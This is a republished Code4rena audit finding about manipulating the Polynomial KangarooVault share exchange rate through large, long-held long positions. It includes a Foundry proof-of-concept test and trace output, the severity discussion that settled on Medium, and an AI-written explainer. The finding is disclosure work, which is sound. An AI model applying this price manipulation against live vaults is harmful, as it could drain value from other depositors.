Exchange Rate can be manipulated if positions are big enough for a long enough time
The exchange rate used to value vault shares can be manipulated by moving the mark price through large, long-held positions, which could leak value during withdrawals. The attack requires very high capital and at least a week of time, making it unlikely.
Originally disclosed on Code4rena
Submitted by GalloDaSballo
If exchangeRate can be maniupulated, then this can be used to extract value or grief withdrawals from the KangarooVault.
From my experimentation, the values to manipulate the share price are very high, making the attack fairly unlikely.
That said, by manipulating markPrice we can get maniupulate getTokenPrice, which will cause a leak of value in withdrawals.
This requires a fairly laborious setup (enough time has passed, from fairly thorough testing we need at least 1 week). And also requires a very high amount of capital (1 billion in the example, I think 100MLN works as well)
Proof of Concept
Can be run via forge test --match-test testFundingRateDoesChange -vvvvv
After creating a new test file TestExchangeAttack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import {console2} from "forge-std/console2.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {TestSystem} from "./utils/TestSystem.sol";
import {Exchange} from "../src/Exchange.sol";
import {LiquidityPool} from "../src/LiquidityPool.sol";
import {PowerPerp} from "../src/PowerPerp.sol";
import {ShortToken} from "../src/ShortToken.sol";
import {ShortCollateral} from "../src/ShortCollateral.sol";
import {MockERC20Fail} from "../src/test-helpers/MockERC20Fail.sol";
contract TestExchangeAttack is TestSystem {
using FixedPointMathLib for uint256;
uint256 public constant initialPrice = 1200e18;
Exchange private exchange;
PowerPerp private powerPerp;
ShortToken private shortToken;
ShortCollateral private shortCollateral;
MockERC20Fail private susd;
LiquidityPool private pool;
function setUp() public {
deployTestSystem();
initPool();
initExchange();
preparePool();
setAssetPrice(initialPrice);
exchange = getExchange();
powerPerp = getPowerPerp();
shortToken = getShortToken();
shortCollateral = getShortCollateral();
susd = getSUSD();
pool = getPool();
}
function testDeployment() public {
exchange.refresh();
_testDeployment();
}
event Debug(string name, uint256 value);
function testFundingRateDoesChange() public {
(uint256 price,) = exchange.getIndexPrice();
(uint256 markPrice,) = exchange.getMarkPrice();
(int256 fundingRate,) = exchange.getFundingRate();
assertEq(fundingRate, 0);
deposit(1e40, user_3);
// 10e26 = 1 Billion
openLong(1e26, 1e34, user_2);
// openShort(1e20, user_1);
vm.warp(block.timestamp + 20 weeks);
(int256 newFundingRate,) = exchange.getFundingRate();
emit Debug("fundingRate", uint256(fundingRate));
emit Debug("newFundingRate", uint256(newFundingRate));
assertTrue(fundingRate != newFundingRate, "newFundingRate has not changed");
(uint256 newMarkPrice,) = exchange.getMarkPrice();
emit Debug("markPrice", markPrice);
emit Debug("newMarkPrice", newMarkPrice);
assertTrue(markPrice != newMarkPrice, "price has not changed");
}
function deposit(uint256 amount, address user) internal {
susd.mint(user, amount);
vm.startPrank(user);
susd.approve(address(getPool()), amount);
pool.deposit(amount, user);
vm.stopPrank();
}
function openLong(uint256 amount, uint256 maxCost, address user) internal {
susd.mint(user, maxCost);
Exchange.TradeParams memory tradeParams;
tradeParams.isLong = true;
tradeParams.amount = amount;
tradeParams.maxCost = maxCost;
vm.startPrank(user);
susd.approve(address(getPool()), maxCost);
exchange.openTrade(tradeParams);
vm.stopPrank();
}
function closeLong(uint256 amount, uint256 minCost, address user) internal {
require(powerPerp.balanceOf(user) == amount);
Exchange.TradeParams memory tradeParams;
tradeParams.isLong = true;
tradeParams.amount = amount;
tradeParams.minCost = minCost;
vm.prank(user);
exchange.closeTrade(tradeParams);
}
function openShort(uint256 amount, address user)
internal
returns (uint256 positionId, Exchange.TradeParams memory tradeParams)
{
uint256 collateral = shortCollateral.getMinCollateral(amount, address(susd));
susd.mint(user, collateral);
tradeParams.amount = amount;
tradeParams.collateral = address(susd);
tradeParams.collateralAmount = collateral;
tradeParams.minCost = 0;
vm.startPrank(user);
susd.approve(address(exchange), collateral);
(positionId,) = exchange.openTrade(tradeParams);
vm.stopPrank();
}
function openShort(uint256 positionId, uint256 amount, uint256 collateral, address user) internal {
Exchange.TradeParams memory tradeParams;
susd.mint(user, collateral);
tradeParams.positionId = positionId;
tradeParams.amount = amount;
tradeParams.collateral = address(susd);
tradeParams.collateralAmount = collateral;
tradeParams.minCost = 0;
vm.startPrank(user);
susd.approve(address(exchange), collateral);
(positionId,) = exchange.openTrade(tradeParams);
vm.stopPrank();
}
function closeShort(uint256 positionId, uint256 amount, uint256 maxCost, uint256 collAmt, address user)
internal
returns (Exchange.TradeParams memory tradeParams)
{
require(shortToken.ownerOf(positionId) == user);
susd.mint(user, maxCost);
(, uint256 shortAmount, uint256 collateralAmount, address collateral) = shortToken.shortPositions(positionId);
tradeParams.amount = amount > shortAmount ? shortAmount : amount;
tradeParams.collateral = collateral;
tradeParams.collateralAmount = collAmt > collateralAmount ? collateralAmount : collAmt;
tradeParams.maxCost = maxCost;
tradeParams.positionId = positionId;
vm.startPrank(user);
susd.approve(address(getPool()), maxCost);
exchange.closeTrade(tradeParams);
vm.stopPrank();
}
}
As you can see we can move the markPrice, which will impact the valuation of the KangarooShares during withdrawals
│ └─ ← 719999999999999999280, false
├─ emit Debug(name: markPrice, value: 720000000000000000000)
├─ emit Debug(name: newMarkPrice, value: 719999999999999999280)
└─ ← ()
mubaris (Polynomial) disagreed with severity
Would like more input from the sponsor @mubaris on this one.
Going back to the definitions:
QA (Quality Assurance) Includes both Non-critical (code style, clarity, syntax, versioning, off-chain monitoring (events, etc) and Low risk (e.g. assets are not at risk: state handling, function incorrect as to spec, issues with comments). Excludes Gas optimizations, which are submitted and judged separately. 2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements. 3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).
The attack path being an edge case on the assets that’s valid but unlikely, I believe Medium Severity to still be right. Even if not “Sponsor Confirmed”, this could be an acknowledged bug.
mubaris (Polynomial) confirmed and commented:
Medium severity seems fair.
Dravee (judge) decreased severity to Medium
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the vault's share price is derived from an exchange mark price that can be shifted by large, sustained trading positions.
Impact
With enough capital and time, an attacker could leak value from the vault during withdrawals, though the required amounts make this unlikely.
What the attacker needed
Very high capital (around 100 million or more); position held for at least one week; ability to open large trades on the exchange
How it was found
- Deploy the test system and set the initial asset price.
- Deposit a very large amount of the stablecoin for one user.
- Open a very large long position for another user.
- Advance time by 20 weeks.
- Observe that the funding rate and mark price have changed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault lets people deposit money and later withdraw a share of what it holds. The value of each share depends on a price taken from a trading exchange. If someone can push that price around for long enough, they can make their shares look worth more when they withdraw, taking extra money from everyone else.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.